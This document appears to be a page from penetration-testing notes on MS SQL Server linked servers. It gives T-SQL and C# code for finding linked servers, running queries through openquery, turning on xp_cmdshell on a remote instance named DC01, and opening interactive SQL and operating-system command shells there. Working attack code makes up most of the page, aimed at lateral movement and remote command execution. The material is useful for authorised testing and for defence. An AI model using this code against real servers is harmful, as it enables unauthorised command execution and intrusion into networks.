Linked Servers

Overview

MS SQL Server Linked Servers are used to establish a connection between two different SQL Server instances, allowing for distributed queries and data sharing between them.

Discovering linked servers

To discover linked servers:

EXEC sp_linkedservers;

Executing SQL queries on linked server

To execute SQL queries on a Linked Server in MS SQL Server:

select version from openquery("dc01", 'select @@version as version')
select * from openquery("dc01", 'select @@version as version')

C# Example

To execute queries on linked server using C#:

public void sql_shell_linked_server()
{
    #region SQL Shell Linked Server
    Console.WriteLine($"\nExecuting SQL commands on {LinkedServer}");
    SQLQuery = $"SELECT myuser from openquery(\"{LinkedServer}\", 'select SYSTEM_USER as myuser');";
    Command = new SqlCommand(SQLQuery, Instance);
    DataReader = Command.ExecuteReader();
    DataReader.Read();
    Console.WriteLine($"[+] Linked Server user: {DataReader[0].ToString()} on {LinkedServer}");
    DataReader.Close();
    Console.WriteLine("[*] Enter 'exit' to return to the main menu");
    while (true)
    {
        Console.Write("sql> ");
        string cmd = Console.ReadLine();
        if (cmd == "exit")
        {
            break;
        } 
        else
        {
            try
            {
                cmd = cmd.Replace("'", "''");
                SQLQuery = $"select * from openquery(\"{LinkedServer}\", '{cmd}')";
                Command = new SqlCommand(SQLQuery, Instance);
                DataReader = Command.ExecuteReader();
                Console.WriteLine();
                DataReaderOutput();
                Console.WriteLine();
                DataReader.Close();
            }
            catch (Exception ex)
            {
                Console.WriteLine($"[!] ERROR: {ex.ToString()}");
            }
        }
    }
    #endregion
}

Enabling xp_cmdshell

Enabling xp_cmdshell on a Linked Server in MS SQL Server can be useful when you need to execute a command on the remote server.

EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT DC01
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT DC01

C# Example

To enable xp_cmdshell on linked server using C#

public void sql_linked_server_enable_xp()
{
    #region SQL Linked Server Enabling xp_cmdshell
    Console.WriteLine($"\nExecuting SQL commands on {LinkedServer}");
    SQLQuery = $"SELECT myuser from openquery(\"{LinkedServer}\", 'select SYSTEM_USER as myuser');";
    Command = new SqlCommand(SQLQuery, Instance);
    DataReader = Command.ExecuteReader();
    DataReader.Read();
    Console.WriteLine($"[+] Linked Server user: {DataReader[0].ToString()} on {LinkedServer}");
    DataReader.Close();

    try
    {
        Console.WriteLine($"[*] Trying to enable xp_cmdshell on linked server {LinkedServer}");
        SQLQuery = $"EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT {LinkedServer}";
        Command = new SqlCommand(SQLQuery, Instance);
        DataReader = Command.ExecuteReader();
        DataReader.Close();
        SQLQuery = $"EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT {LinkedServer}";
        Command = new SqlCommand(SQLQuery, Instance);
        DataReader = Command.ExecuteReader();
        DataReader.Close();
    }
    catch (Exception ex)
    {
        Console.WriteLine($"[!] ERROR: {ex.ToString()}");
    }

    Console.WriteLine("[*] Print xp_cmdshell status");
    SQLQuery = $"EXEC ('sp_configure ''xp_cmdshell''') AT {LinkedServer}";
    Command = new SqlCommand(SQLQuery, Instance);
    DataReader = Command.ExecuteReader();
    DataReaderOutput();
    DataReader.Close();
    #endregion
}

Running xp_cmdshell

To execute xp_cmdshell on linked server:

EXEC ('EXEC xp_cmdshell ''{cmd}''') AT DC01

C# Example

Running xp_cmdshell on linked server using C#:

public void os_shell_linked_server()
{
    #region Linked Server OS Shell
    Console.WriteLine($"\nExecuting shell commands on {LinkedServer}");
    SQLQuery = $"SELECT myuser from openquery(\"{LinkedServer}\", 'select SYSTEM_USER as myuser');";
    Command = new SqlCommand(SQLQuery, Instance);
    DataReader = Command.ExecuteReader();
    DataReader.Read();
    Console.WriteLine($"[+] Linked Server user: {DataReader[0].ToString()} on {LinkedServer}");
    DataReader.Close();
    Console.WriteLine("[*] Enter 'exit' to return to the main menu");
    while (true)
    {
        Console.Write("cmd> ");
        string cmd = Console.ReadLine();
        if (cmd == "exit")
        {
            break;
        }
        else
        {
            try
            {
                SQLQuery = $"EXEC ('EXEC xp_cmdshell ''{cmd}''') AT {LinkedServer}";
                Command = new SqlCommand(SQLQuery, Instance);
                DataReader = Command.ExecuteReader();
                while (DataReader.Read())
                {
                    string output = DataReader[0].ToString();
                    Console.WriteLine(output);
                }
                DataReader.Close();
            }
            catch (Exception ex)
            {
                Console.WriteLine($"[!] ERROR: {ex.ToString()}");
                break;
            }

        }
    }
    #endregion
}

Last updated